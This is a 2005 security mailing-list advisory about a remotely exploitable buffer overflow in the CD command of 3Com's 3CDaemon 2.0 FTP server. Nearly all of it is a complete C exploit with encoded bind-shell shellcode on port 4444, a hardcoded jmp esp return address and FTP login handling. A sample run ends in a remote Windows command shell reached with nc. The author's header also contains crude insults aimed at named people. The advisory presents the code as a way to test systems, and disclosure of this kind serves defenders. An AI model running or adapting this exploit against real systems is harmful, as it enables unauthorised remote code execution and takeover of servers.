[EXPL] 3Com FTP Server Buffer Overflow (CD)

From: SecuriTeam (support_at_securiteam.com)
Date: 02/17/05

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      3Com FTP Server Buffer Overflow (CD)
    ------------------------------------------------------------------------

    SUMMARY

    3Com FTP Server has been found to contain a remotely exploitable buffer
    overflow in its parsing of the 'CD' command. The following exploit code
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Vulnerable Systems:
     * 3CDaemon version 2.0 revision 10

    Exploit:
    /*
         3Com Ftp Server remote overflow exploit
         author : c0d3r "kaveh razavi" c0d3rz_team@yahoo.com
      package : 3CDaemon version 2.0 revision 10
      advisory : http://secway.org/advisory/ad20041011.txt
      company address : 3com.com
      it is just a simple PoC tested on winxp sp 1 and may not work on other
    systems .
      just a lame coded software that didnt cost to bother myself to develop
      the exploit code . every command has got overflow .
      compiled with visual c++ 6 : cl 3com.c
      greetz : LorD and NT of Iran Hackers Sabotages , irc.zirc.org #ihs
      Jamie of exploitdev (hey man how should I thank u with ur helps?),
      sIiiS and vbehzadan of hyper-security , pishi , redhat , araz , simorgh
      securiteam , roberto of zone-h , milw0rm (dont u see that my mail
    address has changed?)
      Lamerz :
      shervin_kesafat@yahoo.com with a fucked ass ! , konkoor ( will be dead
    soon !! )
      ashiyane digital lamerz team ( abroo har chi iranie bordin khak barsara
    ! )

    /*
    /*
    D:\projects>3com.exe 127.0.0.1 21 c0d3r secret

    -------- 3Com Ftp Server remote exploit by c0d3r --------

    [*] building overflow string
    [*] attacking host 127.0.0.1
    [*] packet size = 673 byte
    [*] connected
    [*] sending username
    [*] sending password
    [*] exploit sent successfully try nc 127.0.0.1 4444

    D:\projects>nc 127.0.0.1 4444
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\Program Files\3Com\3CDaemon>

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <winsock2.h>
    #pragma comment(lib, "ws2_32.lib")
    #define address 0x77A7EE6C // jmp esp lays in shell32.dll in my box
    #define size 673 // 3 byte command + 235 byte NOP junk +
                               // 4 byte return address + 430 byte shellc0de

     int main (int argc, char *argv[]){

     char shellc0de[] = // some NOPS + shellcode bind port 4444

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x10\x5A\x4A\x33\xC9\x66"
    "\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF"
    "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
    "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
    "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
    "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
    "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
    "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
    "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
    "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
    "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
    "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
    "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
    "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
    "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
    "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
    "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
    "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
    "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
    "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
    "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
    "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
    "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
    "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
    "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
    "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
      
      unsigned char *recvbuf,*user,*pass;
      unsigned int rc,addr,sock,rc2 ;
      struct sockaddr_in tcp;
      struct hostent *hp;
      WSADATA wsaData;
      char buffer[size];
      unsigned short port;
      char *ptr;
      long *addr_ptr;
      int NOP_LEN = 200,i,x=0,f = 200;
      if(argc < 5) {
          printf("\n-------- 3Com Ftp Server remote exploit by c0d3r
    --------\n");
       printf("-------- usage : 3com.exe host port user pass
    --------\n");
       printf("-------- eg: 3com.exe 127.0.0.1 21 c0d3r secret
    --------\n\n");
      exit(-1) ;
      }
      printf("\n-------- 3Com Ftp Server remote exploit by c0d3r
    --------\n\n");
      recvbuf = malloc(256);
      memset(recvbuf,0,256);
      
      //Creating exploit code
      printf("[*] building overflow string");
        memset(buffer,0,size);
           ptr = buffer;
           addr_ptr = (long *) ptr;
     
         for(i=0;i < size;i+=4){
       *(addr_ptr++) = address;
      }
       buffer[0] = 'C';buffer[1] = 'D';buffer[2] = ' ';
       for(i = 3;i != 235;i++){
       buffer[i] = 0x90;
      }
         i = 239;
      for(x = 0;x != strlen(shellc0de);x++,i++){
       buffer[i] = shellc0de[x];
      }
      buffer[size] = 0;
     
      //EO exploit code

      user = malloc(256);
      memset(user,0,256);

      pass = malloc(256);
      memset(pass,0,256);

      sprintf(user,"user %s\r\n",argv[3]);
      sprintf(pass,"pass %s\r\n",argv[4]);
      
       if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
       printf("[-] WSAStartup failed !\n");
       exit(-1);
      }
     hp = gethostbyname(argv[1]);
      if (!hp){
       addr = inet_addr(argv[1]);
      }
      if ((!hp) && (addr == INADDR_NONE) ){
       printf("[-] unable to resolve %s\n",argv[1]);
       exit(-1);
      }
      sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
      if (!sock){
       printf("[-] socket() error...\n");
       exit(-1);
      }
       if (hp != NULL)
       memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
      else
       tcp.sin_addr.s_addr = addr;

      if (hp)
       tcp.sin_family = hp->h_addrtype;
      else
      tcp.sin_family = AF_INET;
      port=atoi(argv[2]);
      tcp.sin_port=htons(port);
       
      
      printf("\n[*] attacking host %s\n" , argv[1]) ;
      
      Sleep(1000);
      
      printf("[*] packet size = %d byte\n" , sizeof(buffer));
      
      rc=connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
      if(rc==0)
      {
        
         Sleep(1000) ;
      printf("[*] connected\n") ;
         rc2=recv(sock,recvbuf,256,0);
         printf("[*] sending username\n");
         send(sock,user,strlen(user),0);
         send(sock,'\n',1,0);
         printf("[*] sending password\n");
         Sleep(1000);
      send(sock,pass,strlen(pass),0);
         send(sock,buffer,strlen(buffer),0);
      send(sock,'\n',1,0);
         printf("[*] exploit sent successfully try nc %s 4444\n" , argv[1]);
      }
      
      else {
          printf("[-] 3CDaemon is not listening .... \n");
     }
      shutdown(sock,1);
      closesocket(sock);
      

    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:c0d3r@ihsteam.com> c0d3r.

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